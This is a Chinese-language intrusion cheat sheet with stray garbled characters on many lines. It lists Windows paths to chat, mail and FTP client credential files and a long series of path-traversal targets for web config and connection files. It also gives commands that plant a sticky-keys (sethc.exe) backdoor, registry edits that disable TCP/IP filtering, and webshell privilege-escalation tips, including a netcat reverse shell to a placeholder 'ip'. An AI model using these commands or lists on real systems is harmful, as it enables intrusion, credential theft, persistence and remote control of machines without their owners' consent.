c:\Apache2\php\license.txt
: s6 O, w) B5 Y, UC:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
4 m* \5 O( q1 e: n. K$ C" c; x9 dc:\Program Files\QQ2007\qq.exe
$ J% x- X( H( m% Z5 O! @c:\Program Files\Tencent\qq\User.db
2 ?" `" v; l$ W) c! ^/ f2 ?c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
4 v* V; d: q9 Y2 b6 x) ac:\Program Files\Tencent\qq2008\qq.exe
* G& Q1 Y1 H% K( e% `5 k% X, b6 e: ec:\Program Files\Tencent\qq2010\bin\qq.exe
: b7 Y2 M! o% D" `c:\Program Files\Tencent\qq\Users\All Users\Registry.db
  H, U& I+ B" h7 EC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
9 o! s- g- t- f! I6 i, Lc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
9 H, I1 n: {9 K8 W0 h' }C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
- R% B: @9 c" Z+ w$ HC:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
2 k9 E% z' ~$ H+ `/ w) O5 S) XC:\Program Files\LeapFTP\LeapFTP.exe
% C0 u( `* [' Y7 v$ z3 @8 ^# Hc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
  V5 d; l# r# j9 E0 [c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
8 i5 L) y0 C, D) Y$ _7 IC:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
3 o6 B. d- X/ q/ f7 o. Pc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
; \) \! K$ P; p9 Q- M( u
3.网站相对路径:

0 J) r3 \0 e  u9 I  U, K. {/config.php
../../config.php
* L% r+ u2 Q/ s; k* w+ g  o../config.php
../../../config.php
/config.inc.php
./config.inc.php
3 I( l( A* F0 |* J../../config.inc.php
( I0 A, [! A9 ]3 \../config.inc.php
" h( _1 g5 N# K$ I6 h# l) y../../../config.inc.php
8 W/ }" s4 U! v: e. u/conn.php
# ~1 D$ K& H: E  I+ c1 q0 e./conn.php
7 L/ ~3 r6 K2 g5 ~../../conn.php
! e, Q; E6 {1 k# @../conn.php
../../../conn.php
5 s/ u4 B1 O$ c" X. F2 U6 F/conn.asp
./conn.asp
../../conn.asp
../conn.asp
../../../conn.asp
; ~7 s2 j' ~- N6 g/config.inc.php
" U2 e. l9 v: s" J4 o$ H! p./config.inc.php
../../config.inc.php
../config.inc.php
../../../config.inc.php
/config/config.php
../../config/config.php
0 V$ f" O% e$ q% |../config/config.php
  y, \; o& E: B% ]3 c/ Z../../../config/config.php
/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
/ X; d+ ~9 v- ?../../../config/config.inc.php
: D2 X3 |- w+ r2 g0 y( W' {2 h+ I  F/config/conn.php
7 ^* e. ~; m) j0 B0 D./config/conn.php
' J4 ?! Z/ T/ U( \: s../../config/conn.php
../config/conn.php
../../../config/conn.php
/config/conn.asp
./config/conn.asp
, }5 p  U" w8 l' D! {% {../../config/conn.asp
9 \7 N% g( I) c; ^' z* T../config/conn.asp
../../../config/conn.asp
/config/config.inc.php
0 _; f/ ]* i! ~$ m7 G9 o- l$ s7 n./config/config.inc.php
../../config/config.inc.php
1 q: O* f3 G% ?5 t! R- T  V. J../config/config.inc.php
../../../config/config.inc.php
  g1 {" t; y3 \/data/config.php
../../data/config.php
../data/config.php
: n; [( y& E2 U) [) ^# a1 ~. o! j../../../data/config.php
/data/config.inc.php
9 }  f5 M3 Y9 }9 Q: x+ j* G# L./data/config.inc.php
8 K+ o8 d9 m/ C. i8 t. r) Y. n../../data/config.inc.php
) g+ h) F$ ?0 o; D/ N/ o+ I../data/config.inc.php
$ M" c, e2 m$ Q* ?4 h../../../data/config.inc.php
5 y/ G0 |- _& C0 n" V$ @: S: o4 E/data/conn.php
' ^4 r" L8 A# [./data/conn.php
$ [( x8 c! E; v2 z: ?& I../../data/conn.php
../data/conn.php
../../../data/conn.php
/data/conn.asp
% Q; G7 }* ?+ ~( e./data/conn.asp
../../data/conn.asp
* T- h* s0 `- R../data/conn.asp
9 c& J# q  [5 Y% i../../../data/conn.asp
  Y1 Z7 I: F4 z( Z/data/config.inc.php
* `8 t2 X4 D8 i3 ^2 b" ?./data/config.inc.php
6 W; z# L' N  M- @9 s( p" h../../data/config.inc.php
../data/config.inc.php
3 C* ?+ {' d, f/ j% G* ?8 r../../../data/config.inc.php
+ A3 Q( @0 [! ?9 e/include/config.php
../../include/config.php
../include/config.php
../../../include/config.php
7 Q; T# g! L$ t7 b' f1 w* A/include/config.inc.php
./include/config.inc.php
8 O# V  d+ h4 [, ~6 Q5 ]) m: r../../include/config.inc.php
../include/config.inc.php
' \# a6 N$ L- d) Q../../../include/config.inc.php
/include/conn.php
( s, E! T  ]% V" [" a./include/conn.php
' t/ b1 A- g7 {( M: U# t../../include/conn.php
3 k/ o# R% M& Z) I../include/conn.php
../../../include/conn.php
9 b' r8 R  o$ b% A2 p; H4 H, H/include/conn.asp
: [4 Z" _9 r* c. x$ ~% ]! o./include/conn.asp
../../include/conn.asp
../include/conn.asp
9 N8 @* R1 Z( X1 \7 F0 ?../../../include/conn.asp
/include/config.inc.php
./include/config.inc.php
" w' j% }6 _) }5 H../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
- c! p1 }% a% c4 W, n8 R7 n/inc/config.php
) v$ Q2 Z' }; @! B8 t5 B../../inc/config.php
2 I  Z/ [9 q  X. B3 f../inc/config.php
9 d+ z7 s$ H" X( T5 k2 o4 S$ w0 r# w../../../inc/config.php
/inc/config.inc.php
: `2 Z9 u( r# ^* b' q; j+ f3 W$ R./inc/config.inc.php
../../inc/config.inc.php
8 Z7 {1 z4 F$ Q2 ?6 t5 V+ e../inc/config.inc.php
: Z2 O" m/ Z1 P" s, H../../../inc/config.inc.php
/inc/conn.php
./inc/conn.php
$ ?4 n" K" `8 s8 x! [. i% t5 {- y+ ^../../inc/conn.php
8 k2 F+ x. ?7 j/ h9 a' V8 W../inc/conn.php
../../../inc/conn.php
; X2 D. u3 D; E! X, q/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
../inc/conn.asp
../../../inc/conn.asp
/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
. {/ [0 J$ `6 K6 C. ~../inc/config.inc.php
../../../inc/config.inc.php
$ ]4 w! N* F! L; J  j/index.php
( v  K( I$ Z% q7 w0 S/ Y' }1 M./index.php
../../index.php
../index.php
4 ]) u, m4 u& {* n7 [7 ]' N, |( O../../../index.php
! C! X7 ]/ v7 X) A/index.asp
$ N) t0 k9 w. _6 O; C./index.asp
../../index.asp
5 ?+ d; B3 K  D" ?../index.asp
  c8 W, f! X0 n) c../../../index.asp
替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s
, K& g0 g  H. ?- i1 f1 F3 e
　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
8 W5 ~3 L$ w  _$ E# B4 ^+ c
　　del c:\windows\system32\sethc.exe
. o( J0 J  {, ?5 y) W
0 S# L$ {% l  j1 C! l3 v2 n  P5 Q* m　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
  l2 j8 q3 q3 n& x6 @
　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

　　attrib c:\windows\system32\sethc.exe +h +r +s
* ~, o; D2 c" m" c3 j+ Z
: b, `  |- u# W# `; G　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
1 n0 ?4 ?% Z6 @# X) @/ tTCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
' X% u- H, }$ N: q, BHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
( I( p1 M- B: }; w, S' C
( G- t8 f( `1 A) p* o2 ~分别用
3 _2 V) B+ m  Z0 \5 U- xregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
# f9 h9 N. S$ v% d6 bregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
; J- r$ j* ]( ^0 Tregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
0 r5 @' F- d+ O" l7 m& n命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

9 a  J! m# C2 Z2 L- B4 y# F再将以上三个文件分别用
regedit -s D:\a.reg
regedit -s D:\b.reg
. R8 O+ ~& I' [, Q% {" O# I8 A. S% Hregedit -s D:\c.reg
8 |. a7 m5 @- C2 a0 A7 M导入注册表即可
; G5 Z2 h4 ?4 x( _, c* k8 K
webshell提权小技巧
6 f( _: O4 b* {: `" Ucmd路径:
c:\windows\temp\cmd.exe
nc也在同目录下
) v/ M2 }3 E0 r2 B& P8 l/ V0 _* r例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
- _' Q) p+ F) M! Z& ]3 F6 J通常都不会成功。

7 [- z+ s1 Z- x( V+ l而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
$ G7 ~9 y; P( O/ o$ F却能成功。。
4 T& i0 [6 U0 h" w$ \这个不是重点
) W' ^& }/ H1 Q* y8 J) p7 t9 u我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功